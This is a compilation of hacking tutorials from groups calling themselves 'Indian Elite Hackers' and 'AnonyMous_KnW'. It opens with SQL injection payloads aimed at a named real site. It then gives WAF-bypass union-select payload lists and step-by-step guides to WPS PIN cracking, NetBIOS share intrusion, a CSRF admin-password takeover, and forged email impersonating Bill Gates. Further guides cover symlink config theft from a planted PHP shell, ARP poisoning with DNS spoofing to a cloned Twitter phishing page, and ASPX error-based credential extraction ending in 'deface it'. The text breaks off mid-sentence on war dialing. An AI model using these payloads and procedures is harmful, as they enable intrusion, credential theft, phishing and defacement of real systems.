id=-13 union select 1,2,DB_NAME
(),4,5 --
www.marinaplast.com/page.php?id=vv
()
☆¸.•*☆ ☆*•.¸☆
@@user
user()
user_name()
system_user()
# like #
www.marinaplast.com/page.php?
id=-13 union select 1,2,user
(),4,5 --
☆¸.•*☆ ☆*•.¸☆
HOST_NAME()
@@hostname
@@servername
SERVERPROPERTY()
# like #
www.marinaplast.com/page.php?
id=-13 union select 1,2,HOST_NAME
(),4,5 --
☆¸.•*☆ ☆*•.¸☆
@@datadir
datadir()
# like #
www.marinaplast.com/page.php?
id=-13 union select 1,2,datadir(),4,5 --
☆¸.•*☆ ☆*•.¸☆
ASPX
and 1=0/@@version
' and 1 =0 /@@ version;--
) and 1 =@@version--
and 1 = 0 /user ;--

©Indian Elite Hackers

Hello!
readers

Today I share a tutorial on

WAF Byassing In SQL Injections

What is WAF ?
WAF stands for Web Application Firewall. It is
widely used nowadays to detect and defend
SQL Injections and Cross Site Scripting (XSS)
attacks.

How does it Work?
When WAF detects any malicious input from
end user, It gives 403 Forbidden, 406 Not
Acceptable or any Kind of Custom errors

How to bypass this things?

what to do next? we cant do our further
injection right?

Well its time to use various techniques to
bypass thing.
Some of these techniques are
mentioned below:

# Case Changing:

Most of the Waf's only filter lowercase or
higher-case keywords. We can easily evade
that kind of wafs by using alternate case.

if union select is forbidden , we can always try
UNION SELECT instead. And if both does not
work, We can try our luck with using mixture
of both. like UniOn seLeCt

# Using Comments

It is the most famous method to bypass WAF .

SQL comments really help us in many cases.

They play their important role in killing some
Waf's Restrictions. e.g

// , -- , --+ , #, -- -

# Inline Comments

Some WAF’s filter keywords like

/union\sselect/ig

We can bypass these filters by
using inline comments most of the time

http://localhost/waf.php?id=1 /*!union*/ /*!
select*/ 1,2,3--

Read SQLi Errors carefully. Sometimes
they left error from which we can have idea
that how waf is working on this site.
Anyways, We were talking about Filtered
Keywords. So it does not mean that waf is
only filtering union select. It may be filtering
all SQL keywords like table_name, column_name etc
So might need to apply these inline comments
on those keywords as well.

Example

http://localhost/waf.php?id=1 /*!union*/ /*!
select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!
information_schema.tables*/ /*!where*/ /*!
table_schema*/=database()--

# Double use of Keywords

Sometimes WAF removes whole keyword from
the query and execute it and throw errors
In such cases, we can use keywords in this
way

http://localhost/waf.php?id=1 UNunionION
SELselectECT 1,2,3,4,5,6--

Anyways It totally depends upon the scenario.
Im just giving a common Idea. Rest is upon
you that how you use it.

# Using Different types of Whitespaces

Sometime Waf may be filtering the whitespace

we are using between keywords. We mostly
use Spaces But space is not the only
whitespace we can use in SQL injection. We
have some other options as well
for example
+ . %20

is use for space, but we can try using one
of these whitespaces . some examples are

%09
%0A %0B %0C %0D %A0

inurl:
union%0Bselect%0B1,2,3--

# Encoding

We can always try our luck with URL encode
thing to bypass WAF. For example we can use

union select 1,/*!table_name*/,3 from
information_schema.tables where table_
schema=database()

as

union%20select%201,%2f%2a%21table_name
%2a%2f,3%20from%20information_
schema.tables%20where%20table_schema%
3Ddatabase%28%29

but sometime waf filter also filter % itself. So
we have to use double URL encoding in that
case

union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529

# Unexpected Input

This scenario is very rare that we have to use
buffer overflow or give unexpected query /
request to trick WAF filters.
for example:

http://localhost/waf.php?id=1 and (select 1)=
(Select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
union select 1,2,3,4,5--

This thing only worked once for me. But
knowledge is Power, may be you face any
scenario that can be bypassed by using buffer
overflow

# use all above mentioned techniques together

oh!!! .... tried all those things but still its showing
NOT ACCEPTABLE or FORBIDDEN.

well its
time to use all these above mentioned
techniques combined.

For example: you can use alternative cases
with inline comments or obfuscation.

#Some Common Union Select Solutions:

%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%
0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT

I hope you have enjoyed this article.
Next Time We Share Some More Tutorials on WAF bypassing.

Please
give us your feedback. So that we may be able
to make things more clear for you next time .

#Indian_Elite_Hackers

How to Hack WPA
WiFi Passwords by
Cracking the WPS PIN

Hello Readers
today i am sharing this tutorial
How to Hack WPA
WiFi Passwords by
Cracking the WPS PIN Of Wi-Fi Routers

WPS, or WiFi Protected Setup,
known about for over a year by TNS, was
finally exploited with proof of concept code.
Both TNS, the discoverers of the exploit and
Stefan at .braindump have created their
respective "reaver" and "wpscrack" programs
to exploit the WPS vulnerability. From this
exploit, the WPA password can be recovered
almost instantly in plain-text once the attack
on the access point WPS is initiated, which
normally takes 2-10 hours (depending on
which program you use).

let's go over how to use both
tools to crack WPS. As of yet, no router is safe
from this attack, and yet none of the vendors
have reacted and released firmware with
mitigations in place. Even disabling WPS still
allows this attack on most routers.

Requirements

•Linux OS

•A router at home with WPS

•The following programs installed (install by
package name): aircrack-ng, python-
pycryptopp, python-scapy, libpcap-dev

Tools

•Reaver 
(support for all routers)

•wpscrack
(faster, but only support for major
router brands)

Crack WPS

code:
bold is a terminal command.

Follow the guide that corresponds to the tool
that you chose to use below.

Reaver

1. Unzip Reaver.

unzip reaver-1.3.tar.gz

2. Change to the Reaver directory.

cd reaver-1.3

3. Configure, compile and install the application.

./configure && make && sudo make install

4. Scan for an access point to attack, and copy

its MAC address for later
(XX:XX:XX:XX:XX:XX).

sudo iwlist scan wlan0

5. Set your device into monitor mode.

sudo airmon-ng start wlan0

6. Run the tool against an access point.

reaver -i mon0 -b <MA:CA:DD:RE:SS:XX> -vv

7. Wait until it finishes.
This tool makes it too easy.

--------------------------------------------------------------------------
• wpscrack .py

1. Make the program an executable.

chmod +x wpscrack.py

2. Scan for an access point to attack, and copy
its MAC address for later
(XX:XX:XX:XX:XX:XX).

sudo iwlist scan wlan0

3. Get your MAC address, save it for later.

ip link show wlan0 | awk '/ether/{print $2}'

4. Set your device into monitor mode.

sudo airmon-ng start wlan0

5. Attack your AP.

wpscrack.py –iface mon0 –client <your MAC,
because you're attacking yourself, right?> –
bssid <AP MAC address> --ssid <name of your
AP> -v

6. Got Victory!!!!!

Now, let's hope we see a lot of firmware
update action going on in the near future, or
else a lot of places are in a whole world of
trouble.

Thanx For Reading.

----------------------
| Like Us On Facebook |
----------------------
#Indian_Elite_Hackers

Hello Friends
This Time I Will show You how to hack a computer using netbios

A brief lesson on NetBIOS
The NBTSTAT command
What you need to hack ?
Types of attacks
Searching for a victim
Lets Hack - Part 1 Remotely reading/writing
to a victim's computer
Cracking "Share "passwords
Using IPC$ to hack Windows NT
Penetrating in to the victim's computer
Lets Hack - Part 2 Denial of service attack
How to protect yourself
_____________________________________________
______________________________________________
__________________
A BRIEF
LESSON ON NETBIOS
NetBIOS stands for Network B asic Input
O utput S ystem .It was originally developed by
IBM and Sytek as an Application Programming
Interface (API) for client software to access
LAN resources. If you have experience of
working on a LAN using Microsoft Windows
Operating Systems (like Windows98 , Windows
Me, Windows NT etc), you must have clicked
on "Network Neighborhood" to access the
computers attached to your network. After
clicking on the icon you would have seen the
names of the computer . Do you know what
exactly happens when you click on Network
Neighborhood? Your computer tries to get the
names of the computers attached to the
network with by issuing command to
NetBIOS . NetBIOS gives the name of the
computers that have been registered . In short
NetBIOS gives the various information of the
computers on a network . These Include-
Name of the computer
Username
Domain
Computer Name
and many others.
Like any other service it also works on a port .
It has been assigned a port number 139.
GO TO CONTENTS ___
______________________________________________
______________________________________________
__________________
THE
NBTSTAT COMMAND
You can manually interact with the NetBIOS
with the help of NBTSTAT command. To use
this command click on the start button then
select RUN... and type "command" without
quotes to launch MS-DOS Command Prompt.
Alternatively you may click on Start Button
then go to Programs and then select
Command Prompt. Once you are in Command
Prompt you can exit by typing command
EXIT . To launch Command Prompt in full
screen mode press ALT+ENTER key
combination .To get back to the original
window again press ALT+ENTER key
combination. If you have launched the
command prompt you will get
c:\windows>
If you do not get windows displayed after c:\
don't worry just keep going , all required
commands will work fine.
Now lets play with the NBTSTAT command.
If you want to get more help from MS-DOS
about this command type NBTSTAT/? on the
prompt i.e.
c:\windows>nbtstat/?
If you want to get the NetBIOS information of
your computer type the following command
c:\windows>nbtstat -a 127.0.0.1
This command will list the NetBIOS
information. A typical example
NetBIOS Remote
Machine Name Table
Name Number
Type Usage
==========================================================================
workgroup 00
G Domain Name
my_computer 03
U Messenger Service
myusername 03
U Messenger Service
MAC Address = 00-02-44-14-23-E6
Please note that we have used our ip address
to be 127.0.0.1 . This ip address is called as
"Loop Back" ip address because this ip
address always refers to the computer you are
using.
This example is self explanatory . We need not
go in details. We need to know about the
Name and Number. The Name displays the
Name of the NetBIOS and there is a
corresponding hexagonal number . You may
see some additional names in your case.
If you want to get the NetBIOS names of a
remote computer, the command is
c:\windows>nbtstat -a ipaddress
Example - To get the NetBIOS names of a
computer having ip address 203.195.136.156,
we shall use the command
NOTE-203.195.136.156 may be a active ip
address of someone's computer. I am using it
only as an example. Please don't hack this
computer.
c:\windows>nbtstat -a 203.195.136.156
If you want to get to know more about the ip
address and ports click here
GO TO CONTENTS
______________________________________________
______________________________________
WHAT YOU
NEED TO HACK
All you need is a Windows based operating
system like Windows 98 and Me (but I prefer
Windows NT, 2000, XP) and an internet
connection.
GO TO CONTENTS
______________________________________________
______________________________________________
________________
TYPES OF
ATTACKS
We can launch two types of attack on the
remote computer having NetBIOS.
1. Reading/Writing to a remote computer
system
2. Denial of Service
GO TO CONTENTS
______________________________________________
______________________________________________
_________________
Searching
for a victim
You may manually search for the victims by
first using the nbtstat -a ipaddress and then
net view \\ipaddress . If at first you don't
succeed step to next ip address until you find
a suitable ip address. You may also use a
port scanner .A port scanner is simply a
software that can search for any block of ip
address say 192.168.0.1 to 192.168.0.255 for
one or more ports. "Orge" is a port scanner
that gives NetBIOS names of the remote
computer.
GO TO CONTENTS
______________________________________________
______________________________________________
________________
Lets Hack -Part 1 Remotely
reading/writing to a victim's computer
Believe it or not but NetBIOS is the easiest
method to break into somebody's computer.
However there is a condition that must be
satisfied before you can hack. The condition is
that the victim must have enabled File And
Printer Sharing on his computer. If the victim
has enabled it , the nbtstat command will
display one more NetBIOS name. Now lets us
take a example. Suppose you know a ip
address that has enabled File And Printer
Sharing and let suppose the ip address
happens to be 203.195.136.156 .
If you would like to know more about ip
address click here . If you don't the ip address
where File and Printer Sharing is enabled read
"Searching for a victim"
The command that you will use to view the
NetBIOS name is
c:\windows>nbtstat -a 203.195.136.156
Let suppose that the output comes out to be
NetBIOS Remote Machine Name Table
Name Type Status
-------------------------------------------------------------------------------------------------
user            <00> UNIQUE Registered
workgroup <00>    GROUP Registered
user            <03> UNIQUE Registered
user            <20> UNIQUE Registered
MAC Address = 00-02-44-14-23-E6
The number <20> shows that the victim has
enabled the File And Printer Sharing.
--------------------------------------------------------------------------------------------------
-----------------------------------------------------------
NOTE - If you do not get this number there are
two possibilities
1. You do not get the number <20> . This
shows that the victim has not enabled the File
And Printer Sharing .
2. You get "Host Not found" . This shows that
the port 139 is closed or the ip address
doesn't exists.
---------------------------------------------------------------------------------------------------------
Now our next step would be to view the drive
or folders  the victim is sharing.
We will use command
c:\windows>net view \\203.195.136.156
Let suppose we get the following output
Shared resources at \\203.195.136.156
ComputerNameGoesHere
Share name Type Used
as Comment
-----------------------------------------------------------------------------------------------
CDISK Disk
The command completed successfully.
"DISK" shows that the victim is sharing a
Disk named as CDISK . You may also get
some additional information like
Shared resources at \\203.195.136.156
ComputerNameGoesHere
Share name Type Used
as Comment
-----------------------------------------------------------------------------------------------
HP-6L Print
"Print " shows that the victim is sharing a
printer named as HP-6L
If we are able to share the victims hard disks
or folders or printers we will be able to read
write to the folders or hard disks or we may
also be able to print anything on a remote
printer ! Now let us share the victims
computer's hard disk or printer.
Till now we know that there is a computer
whose ip address happens to be
203.195.136.156 and on that computer File
and printer sharing is enabled and the victim's
hard disk 's name is CDISK.
Now we will connect our computer to that
hard disk . After we have connected
successfully a drive will be created on our
computer and on double clicking on it we will
be able to view the contents of the drive. If we
have connected our newly formed drive to the
victim's share name CDISK it means that we
our drive will have the same contents as that
of the CDISK .
Lets do it.
We will use the NET command to do our
work .
Let suppose we want to make a drive k: on
our computer and connect it to victim's share
we will issue the command
c:\windows>net use k: \
\203.195.136.156\CDISK
Y ou may replace k letter by any other letter.
If the command is successful we will get the
confirmation - The command was completed
successfullly
The command was completed successfully
Now just double click on the My Computer
icon on your desktop and you will be a happy
hacker!
We have just crested a new drive k: . Just
double click on it and you will find that you
are able to access the remote computer's hard
disk. Enjoy your first hack!
GO TO CONTENTS
______________________________________________
______________________________________________
_________________
Cracking
Share passwords
Sometimes when we use "net use k: \
\ipaddress\sharename" we are asked for a
password. There is a password cracker
"PQWAK" . All you have to enter ip address
and the share name and it will decrypt the
password within seconds. Please note that
this can crack only the passwords is the
remote operating system is running on -
Windows 95
Windows 98
Windows Me
GO TO CONTENTS
______________________________________________
______________________________________________
__________________
Using IPC$ to
hack Windows NT
Now you must be thinking of something that
can crack share passwords on NT based
operating systems like Windows NT and
Windows 2000.
IPC$ is there to help us. It is not at all a
password cracker . It is simply a string that
tells the remote operating system to give
guest access that is give access without
asking for password.
We hackers use IPC$ in this way
c:\windows>net use k: \\123.123.123.123\ipc
$ "" /user:""
Y ou may replace k letter by any other letter. If
you replace it by "b" (type without quotes) a
new drive will be created by a drive letter b.
Please note that you won't be able to get
access to victim's shared drives but you you
can gather valuable information like names of
all the usernames, users that have never
logged, and other such information. One such
tool that uses the ipc$ method is "Internet
Periscope"
GO TO CONTENTS
______________________________________________
______________________________________________
__________________
Penetrating in to
the victim's computer
Now that you have access to a remote
computer you may be interested in viewing
his secret emails, download his mp3 songs ,
and more...
But if you think like  a hard core hacker you
would like to play some dirty tricks like you
may wish to install a key logger or  install a
back door entry Trojan like netbus and
backorifice or delete or copy some files. All
these tasks involves writing to victim's hard
disk . For this you need to have write access
permission and this can only be granted by
the remote user .
GO TO CONTENTS
______________________________________________
______________________________________________
_________________
Lets Hack - Part 2
Denial of service attack
This type of attacks are meant to be launched
by some computer techies because this type of
attack involves using Linux Operating System
and compiling C language files .

Find Us On Facebook
#INDIAN_ELITE_HACKERS

What is CSRF?
CSRF (Cross-Site Request Forgery) is a
vulnerability found in web applications which
allow a remote attacker to create a special
web page or email which, when viewed by an
authenticated viewer on a remote site, will
execute a particular script. The script executed
could range from creating usernames with
administrative access, changing the admins
(or any other user's) password, creating
content on the site, deleting content on the
site, and any other action that a user with an
authenticated session might be able to do.

How do I find CSRF Vulnerabilities?
This is an interactive tutorial on finding CSRF
Vulnerabilities using a demo CMS from

Code:

http://demo.site.com

At the time of this writing the vulnerability
exists on Dubsite CMS 1.0 but the vendor has
been alerted to this and thus I cannot verify
that at the time this is written the vulnerability
will exist. The tools I use to find CSRF
vulnerabilties are Firefox Web Browser, the
Tamper Data Firefox Plug-in, and Notepad++
(or any other text-editor).
Step 1: visit

Code:

http://demo.site.com/dubsite/
index.php/login
and login with the following credentials:

Username: admin
Password: demo000

Step 2: Navigate to the user control panel of
the admin page located at

Code:

http://demo.site.com/dubsite/
index.php/admin/users/accounts

Step 3: We are now going to attempt to
modify the administrator's password. Click on
edit and fill in the data you want. Before you
click submit, start tamper data to sniff the
requests.
Now make a note of the parameters passed to
the website.
The stuff we interested in are the URL up top
and all the POST parameters in the right
window. Open up your favorite text-editor and
copy down all these values.

Step 4: Here comes the fun part, we are going
to create our evil URL. We have to combine
our base url with our post parameters.
Our base URL is the URL we copied from
tamper data. In this case our base URL is :
Code:

http://demo.site.com/dubsite/
index.php/admin/users/accounts/edit/1

When we append POST parameters to a base
URL we start with adding a ? to the base URL
and then combine parameters by linking them
with a &. An example is
Code:
http://base.url/goes/here?
first=parameter&second=parameter
A more specific example is for our Dubsite
CMS base URL:
Code:

http://demo.site.com/dubsite/
index.php/admin/users/accounts/edit/1?
username=admin&userpassword=test123&
userpassword2=test123&role_
id=1&active=1&update=Update

As you can see we send the data back to the
server the same way our browser sent it. This
example URL will edit the administrator
account's password and change it to test123.

Step 5: Now we have a few methods of getting
the authenticated administrator to execute
this command. First of all we could make a
website and set it like this:
Code:
<html><head></head><body><img src =
"http://demo.site.com/dubsite/
index.php/admin/users/accounts/edit/1?
username=admin&userpassword=test123&
userpassword2=test123&role_
id=1&active=1&update=Update" /></body></
html>
When the web browser views the page it will
send the link to the admin's site trying to get
the information for the image which will in
turn execute the change password feature.
Another way to get the admin to execute the
command is to email the admin with the
<img> tag trick in the body of the email.
Opening the email will cause the server to try
to grab the image and will execute the change
password function.

Conclusion

CSRF vulnerabilities could cause a lot of harm
to a system admin because the form does not
have some sort of validation token in place to
make sure the administrator is actually
issuing the command. A technique that will
stop many attackers is to add HTTP_REFERER
checking to the page with the form. Coming
from an email or other website, the request for
the form will be either blanked out or wrong
and thus tip off the admin to what is going
on. Combined with session tokens for making
sure each visit to the form is unique, this will
stop attackers from attacking your site via
CSRF techniques.
The create user function is also vulnerable to
CSRF attacks. For more practice try to exploit
it and create your own administrator user.
credits to connection

#Indian_Elite_Hackers

Hello Readers!!

This time i going to show you how to send fake emails
Fake emails is very easy. We will be connecting to the remote
mail server and using the function of mail
daemon running in the remote host to send
the fake mails.
Anyway, first open the command prompt

(start–> run –> cmd)

and type

o www.mailserver.com 25

This establishes a remote connection to the port number 25 at mailserver.com 

After a successful connection,
I am displayed with the
SMTP infos..

Its always a good idea to ask help from the
mail daemon. So first issue HELP to see the
supported commands..
Then we introduce ourselves to the mail
daemon by issuing the

“HELLO”

command..
and after a successful hello command, we
input the sender email using ‘mail
from:’ (without quotes) command.. Then we
enter the recipient’s address using the ‘rcpt
to:’ (without quotes) command.
Now, we enter our actual data using the DATA
command.. Within DATA, u can use SUBJECT:
command to enter the subject of email..
Finally, we end our data by entering .(full
stop) at the end. This sends the forged mail
through that mail server..
now let me show a session of email forging
from which u can be more clear.
First, I open command prompt & go to telnet
client by typing telnet..

Below is the session:

Microsoft Telnet>o www.mailserver.com 25

220 mailserver.com ESMTP

Sendmail Version
8.x.x; Mon, 28 Sept. 2008;

We do not allow to send fake or bulk emails…
hello microsoft.com
250 mailserver.com Hello Nice to meet you..

mail from:billgates@microsoft.com
250 billgates@microsoft.com Sender Ok
rcpt to:victim@victim.com
250 victim@victim.com Recipient Ok
data
354 Enter mail, end with “.” on a line by
itself..

SUBJECT:Hello!
Hello,
I am Bill Gates, the chairman of Microsoft. I
would like to offer you a job for Microsoft
Corporation. If you are interested to work with
Microsoft, then reply me at my mail address.
Regards~
Bill Gates
.
250 2.0.0 iF3NDLS240106 Message Accepted
For Delivery.
This was the session of sending the forged
mail from billgates@microsoft.com to

victim@mailsite.com

I hope you understood the log.. So this was
my little tutorial on sending forged emails..
The art of sending forged emails can be
extended to send file attachments and to use
multiple recipients..

Any positive or negative comment is heartily
welcomed.. I may extend this file into bigger
form (including esmtp, file attachments,etc.)

Hope you liked my this little basic tutorial on
sending the fake emails..

Extra Tips:

You can find out which ports are opened and
if mail is enabled on any of those ports by
doing an nmap scan of the website. SMTP is a
very commonly open port and could be used
to spoof emails tricking site users to send you
their details or anything else needed.

#AnonyMous_KnW

Hello Readers!
In This Tutorial I going To show You

How to Symlink On A Server

What is Symlink ?
Symlink is a method used by hackers to read
files from other users on a linux server, only
by using a php-shell.
So what do we require to start the tutorial :
Requirements :
- a phpshell uploaded in a linux server (Safe
MODE = OFF )
- a target site
- basic phpshell & linux knowledge
- a brain !
Let's start by the tutorial.
Where to get a target, if you only have a
phpshell uploaded in a linux server that has
some sites ?
It's easy , first get the IP of the server.
Then go to bing.com and search like that :
Code:
ip:xx.xxx.xxx.xxx vbulletin
xxx replace with the ip adress of the server ,
and 'vbulletin', you can change to a name of a
forum software or a CMS you wish as a
target. But for this example i'll take vBulletin.
OK , now we got the target site , let's suppose
that its domain name is mytarget.com and it
uses vBulletin forum software.
Now starts the real hacking !
Go to your phpshell , and in the 'Execute
command' field , execute there that
command :
Code:
ls -la /etc/valiases/mytarget.com
By executing this command , i'll get the name
of the user (on the linux server) that keeps
the website mytarget.com.
It should return with a result similar to that :
>>>>>>>-rw-r--r-- 1 target mail 28 May 28
2011 /etc/valiases/mytarget.com
The red colored piece is the user of
mytarget.com on the server.
So in our case the username is 'target '
Many of us know that the configuration file of
vBulletin script ,can be found in /includes/
config.php.
This is the file we need to read in our case ,
in order to get access at our target site.
How can we read that file ?
Simple , execute that command on the shell :
Code:
ln -s /home/target/public_html/includes/
config.php symlink.txt
As you can see, we're writting the content of
config.php , into symlink.txt file.
After you execute the command , you will se a
new file called symlink.txt.
Open it and w00t !! You successfully read the
configuration file (symlinked).
Now , just get an MySQL connector script
coded in PHP , and login with the details you
get from configuration file of your target.Then
at the admin table, get the admin's hash and
crack it , or better , change the admin's email
you yours , and then do a forgot password at
mytarget.com
And then you successfully will get full access
in your target site !
That was all ,very easy if you practice many
times. Maybe soon i will make a video tutorial
if you still didn't understand , just request the
video tut in the comments , and i will try
ASAP to make it for you !

Hope You Enjoyed!

#AnonyMous_Knw

Hello Readers!!!

Now This time I am going to show you

" How to do dns spoofing in Kali Linux Using Ettercap"

Ettercap is a free and open source network
security tool for man-in-the-middle attacks
on LAN. It can be used for computer network
protocol analysis and security auditing. It
runs on various Unix-like operating systems
including Linux, Mac OS X, BSD and Solaris,
and on Microsoft Windows. It is capable of
intercepting traffic on a network segment,
capturing passwords, and conducting active
eavesdropping against a number of common
protocols.

1 - LAUNCH ETTERCAP
Open a root terminal and enter the command
ettercap -G to launch the graphical interface
of ettercap.
Once ettercap is open, select the 'Unified
Sniffing ' option under the 'Sniff ' menu.
Now, select your network interface and then
click 'OK.'
WIFI = wlan0, Ethernet = eth0 | I am using wifi
so I will select wlan0 and click OK.
2 - TARGET HOSTS
Now it is time to target our hosts. To begin
this, select the " Scan for Hosts" option under
the " Hosts" menu, or just press Ctrl + S. It will
scan the hosts on your provided network
interface, and display how many were found in
the Logging box on the bottom. In my case,
4
hosts added to the hosts list...
Now, open the Hosts List by selecting Hosts
List under "Host" menu, or just press H.
Next - Select the default gateway and click
"Add to Target 1." My default gateway is
192.168.1.1 . After that, select the host of the
VICTIM who you are going to perform the
attack on. My victim will be my Galaxy Note 3
(connected to my wifi). This works for any
device on your network. Ok, so the IP address
of my victim host is 192.168.1.14 . I will select
this host and then click "Add to Target 2."

Ok, now select Current Targets under the
Targets menu, or just press "T" on your
keyboard. It will now show you the current
targets. If you followed the last step correctly,
your default gateway will be on one side, and
victim host on the other.
ARP POISONING
First, I am going to show you how to ARP
poison. We do this for all of the other mitm
attacks. Ok, so once you have your targets,
Simply select "Arp poisoning" off of the "Mitm"
menu. Next, select " Sniff remote connections"
and click OK.
Great, now we just need to do one more thing
to start the ARP poisoning. Select "Start
Sniffing" off of the "Sniff" menu, or you can
just use the shortcut: CTRL + W.
Now, you have ARP poisoned the victim! You
will now receive information as they log in to
sites. Example - I am going to log in to
Gmail.com on my phone and Ettercap
will show the login information in the logging
area. Now, as you see in the image below, we
have my username and password to HF :D. It
will sniff all logins.
The second Man in the Middle (Mitm) attack
I'm going to show you is DNS SPOOFING.
Here is the definition of DNS Spoofing, taken
from Wikipedia .
DNS spoofing is a computer hacking attack,
whereby data is introduced into a Domain
Name System name server's cache database,
causing the name server to return an incorrect
IP address, diverting traffic to another
computer.
Basically, DNS spoofing is like this scenario:
Attacker does a dns spoofing attack to replace
http://twitter.com with http://192.168.1.4

(THE ATTACKERS' TWITTER PHISHER). Having
done this, if the victim visits twitter.com, it
will show the ATTACKERS' phisher instead of
real twitter.
Alright, so before we can dns spoof, you need
to configure a file called etter.dns . In Kali
Linux, this file is located in /usr/share/
ettercap/etter.dns. If it is not, no problem -
you can find it the file by running the
following command in terminal:
" locate etter.dns "

Alright, now we will open etter.dns in any type
of text editor. I am just going to use nano, by
entering the following commands:
cd usr/share/ettercap
nano etter.dns
Now, etter.dns will be open in nano terminal
text editor.
Take note that your etter.dns should be full of
text, mine isn't because I have done this
before. Next, delete all of the text in this file.
You can't do ctrl + A in terminal, so it might
be a little faster/easier to open this file in a
editor such as LeafPad, and edit it there.
Alright, now I have etter.dns open in nano
terminal text editor

Ok, so this file tells what we are going to DNS
spoof.

What we will do is enter the following:
twitter.com A 192.168.1.4
This will dns spoof twitter.com to 192.168.1.4
(which is going to be my credential harvester
for twitter).

If you wanted, you could enter multiple lines
like this:
twitter.com A 192.168.1.4
facebook.com A 74.125.225.41
myspace.com A 199.59.149.230
This would dns spoof twitter.com to
192.168.1.4 , facebook.com to
74.125.225.41 (Google), and myspace.com to
199.59.149.230 (Twitter). Or, you could just
put an asterisk which means it will spoof ALL
websites to your desired ip:
* A 192.168.1.4

I am just going to spoof Twitter for this
tutorial, so in etter.dns I am going to delete
everything and just enter twitter.com A
192.168.1.4 . Save the file. If you're using
nano, you can save it by pressing Ctrl + X,
then Y, then press enter.
Great, now etter.dns is ready. I spoofed twitter
to 192.168.1.4 which is going to be my
credential harvester.

To create a credential
harvester, launch the SET framework by
entering the command: se-toolkit . **If you
wish to simply spoof it to an IP other than
your phisher then skip this step :) **
Now, enter 1 for Social-Engineering Attacks.
Secondly, enter 2 for Website Attack Vectors.
Finally, enter 3 for Credential Harvester Attack
Method.
Alright, now enter 2 for site cloner.
Next, enter the YOUR local ip (find it with
ifconfig). mine is 192.168.1.4 , so i'll enter
192.168.1.4 .
Now, it wants you to enter the URL you wish
to clone. I am going to make a fake twitter, so
I enter http://www.twitter.com . Now we are
done with that part.
NOW, it is time to conduct the DNS SPOOFING
attack. Go back to ettercap and make sure you
are NOT ARP POISONING anymore (If you tried
that attack) by clicking "Stop Mitm Attacks"
under the Mitm menu.
Ok, now select "Manage the Plugins" under the
Plugins menu, or just press the shortcut "CTRL
+P"
Last but not least, click Start Sniffing under
the sniff menu, or just press ctrl + W (IF YOU
ARE NOT ALREADY SNIFFING)
Now, I will go to twitter.com on the victim
device, and it would take me to twitter.com -
BUT this is not the real twitter - it's the
attacker's fake twitter! if i were to login, i'd
receive the credentials in the SET window.
Also, you can use "Filters" on Ettercap (this is one of my favorites) , which allow you to
customly filter packets.

#AnonyMous_KnW

Hello!
This Time I am Posting About ASPX Injection.
Now lets start.

====================================================================================================================

ASPX injection is also similar to PHP based
SQL
injection.But here, we don't use queries that
contain order by, union
select etc. Instead, we will cheat the server to
respond with the
information we needed. It is an error based
injection technique . We will get the
information in the form of errors.
=============================
Step 1:
Find Out A Vulnerable Link
First, we need find out a vulnerable asp/aspx
link which looks like that

www.vulnerablesite.com/gallery.aspx?id=10

=============================
Step 2:
Checking For Vulnerability
As in the PHP based injection, we will test for
the vulnerability by adding a single quote(') at
the end of the URL.
www.vulnerablesite.com/gallery.aspx?id=10'
If it gives an error
then your site is vulnerable to asp/aspx injection.
In asp/aspx based injections, we need not find
out the number of columns
or the most vulnerable column. We will
directly find out the table
names,column names and then we will extract
the data.

=============================
Step 3:
Finding Out The Table Names.

www.vulnerablesite.com/gallery.aspx?id=10
and 1=convert(int,(select top 1 table_name
from information_schema.tables))

The above code executes the second query and
retrieves the first table
name from the database. the windows server
cant convert character
value into data type. so we will get an error from which we can get the first table
name.
But this may not be the desired table for us.
So we need to find out the next table name in
the database.
For that, we will use the following query.

www.vulnerablesite.com/gallery.aspx?id=10
and
1=convert(int,(select top1 table_name from
information_schema.tables
where table_name not in ('first_table_name')))

Replace the first_table_name with the actual
table name we got above.
Now we will get the second table name.
Still if
You don't get our desired table,you will
continue the procedure until you
get the desired table name. Now the query
looks like that

www.vulnerablesite.com/gallery.aspx?id=10
and
1=convert(int,(select top1 table_name from
information_schema.tables
where table_name not in
('first_table_name','second_table_name')))

Replace first_table_name and
second_table_name with the table names we
got in the above steps.

=============================
Step 4:
Finding Out The Columns
Now we got the admin table. So we need to
find out the columns now.

www.vulnerablesite.com/gallery.aspx?id=10
and 1=convert(int,(select top1 column_name
from information_schema.columns where
table_name='admin_table'))

Replace admin_table with the table name we
got. In my case, it is "vw_system_admin"

If the first column is not related to our desired
column names, then follow the steps as we
have done in step 3.

www.vulnerablesite.com/gallery.aspx?id=10
and 1=convert(int,(select top1 column_name
from
information_schema.columns where
table_name='admin_table' and
column_name not in ('first_column_name')))

Replace first_column_name with the column
name we got.

=============================

Step 5:
Extracting The Data
After finding out all the columns, we need to
extract the data such as user names and
passwords.

For that, we use the following query

For user name:-

www.vulnerablesite.com/gallery.aspx?id=10
and 1=convert(int,(select top 1
admin_username from admin_table))

For password:-

www.vulnerablesite.com/gallery.aspx?id=10
and 1=convert(int,(select top 1
admin_password from admin_table))

Now Find Admin Panel.
& Deface It.

#Anonymous_Knw

War dialing is a brute-force method of finding
a back door into an organization's network. It
is particularly effective against a perimeter
defense. Most organizations have telephone
numbers that are within a specified range and
begin with the same prefix. For example, let's
consider a fictitious company called Acme
Networks. All of the company's telephone
numbers begin with 895; there are 4,000
extensions; and the first extension is 1000.
The range of telephone numbers for Acme
